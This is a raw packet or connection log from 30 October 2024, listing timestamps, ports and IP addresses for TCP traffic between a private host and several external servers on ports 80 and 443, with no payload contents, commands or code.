Oct 30, 2024 11:46:42.573204994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573206902 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573218107 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573231936 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573244095 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573245049 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573256969 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573280096 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573298931 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573302984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573318005 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573329926 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573343039 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573347092 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573369980 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573371887 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573400974 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573409081 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573431015 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573435068 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573442936 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.573455095 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573472977 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.573491096 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.591689110 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591718912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591732025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591742039 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591753006 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591757059 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.591763973 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591813087 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.591830015 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591847897 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591861010 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.591871977 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.591902971 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.029865026 CET	58189	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.030200958 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.037128925 CET	80	58191	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:45.037230968 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.037523031 CET	80	58189	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:45.037592888 CET	58189	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.127463102 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.133991957 CET	80	58191	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:45.890657902 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:45.890714884 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:45.890788078 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:45.892111063 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:45.892126083 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:45.945353031 CET	80	58191	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:45.945401907 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:45.949315071 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.949629068 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.955204964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:45.955267906 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.955297947 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:45.955343008 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.955413103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:45.960691929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.513957977 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:46.514105082 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:46.518486023 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:46.518500090 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:46.519109964 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:46.563344002 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:46.563381910 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:46.563564062 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:46.857549906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857567072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857664108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857676029 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857703924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857714891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857728004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857739925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857753038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857758999 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:46.857765913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.857784986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:46.857832909 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:46.863210917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.863244057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.863254070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:46.863270998 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:46.863301992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.010932922 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.011044025 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.011130095 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.011267900 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.011290073 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.011306047 CET	58192	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.011323929 CET	443	58192	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.016343117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016381979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016416073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.016427040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016444921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.016469002 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.016506910 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016519070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016530037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.016547918 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.016571045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.017065048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017076969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017087936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017116070 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.017153978 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.017467976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017478943 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017494917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017507076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.017520905 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.017566919 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.018018961 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.018064022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.018069983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.018111944 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.068464041 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.068526030 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.068594933 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.069027901 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.069047928 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.131964922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.131983042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.131995916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132050037 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132061005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132072926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132075071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132085085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132112980 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132129908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132394075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132430077 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132441044 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132441998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132463932 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132482052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132483006 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132493973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.132518053 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.132536888 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.172595024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.172612906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.172736883 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.175343990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.175393105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.175510883 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.247638941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247704029 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.247780085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247791052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247801065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247812033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247817993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.247843981 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.247870922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.247956038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247983932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247992039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.247999907 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.248017073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.248042107 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.248429060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.248440027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.248449087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.248476982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.248497963 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.288109064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.288120985 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.288163900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.288196087 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.290771961 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.290817022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.290817976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.290829897 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.290853977 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.290868998 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.362867117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.362889051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.362901926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.362915039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.362919092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.362940073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.362977028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.363123894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.363142014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.363154888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.363163948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.363167048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.363182068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.363183022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.363193989 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.363213062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.363224983 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.364018917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.364038944 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.364051104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.364058971 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.364082098 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.364097118 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.403333902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.403345108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.403435946 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.406366110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.406415939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.406426907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.406467915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.406574965 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478360891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478437901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478446007 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478449106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478460073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478476048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478506088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478672981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478688955 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478702068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478713989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478723049 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478725910 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.478754044 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.478782892 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.479511023 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.479521036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.479531050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.479566097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.479600906 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.518901110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.518985987 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.518996000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.519038916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.521867990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.521888971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.521900892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.521929979 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.521955013 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.593709946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593734026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593745947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593758106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593920946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593930006 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.593962908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.593975067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594058990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594063997 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.594073057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594103098 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.594137907 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.594768047 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594794989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594805956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.594858885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.594960928 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.634371996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.634385109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.634393930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.634497881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.637356997 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.637367964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.637377977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.637420893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.637433052 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.685201883 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.685318947 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.686573982 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.686594009 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.687701941 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.689331055 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.689368963 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:47.689450979 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:47.709039927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709053993 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709130049 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.709135056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709146976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709160089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709172010 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709176064 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.709184885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709208012 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.709244967 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.709937096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709980965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.709985971 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.709992886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.710058928 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.710306883 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.710349083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.710357904 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.710357904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.710370064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.710406065 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.710418940 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.750066042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.750077963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.750166893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.752645016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752655983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752698898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.752757072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752799988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.752815008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752826929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752839088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.752866030 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.752888918 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.824815035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.824829102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.824841022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.824851990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.824868917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.824898005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.824923038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.824990034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825007915 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825026035 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.825035095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825046062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825053930 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.825071096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.825109959 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.825859070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825870037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825880051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.825911045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.825937986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.865391016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.865406990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.865441084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.865468025 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.868206024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.868256092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.868279934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.868292093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.868305922 CET	80	58193	185.215.113.16	192.168.2.7
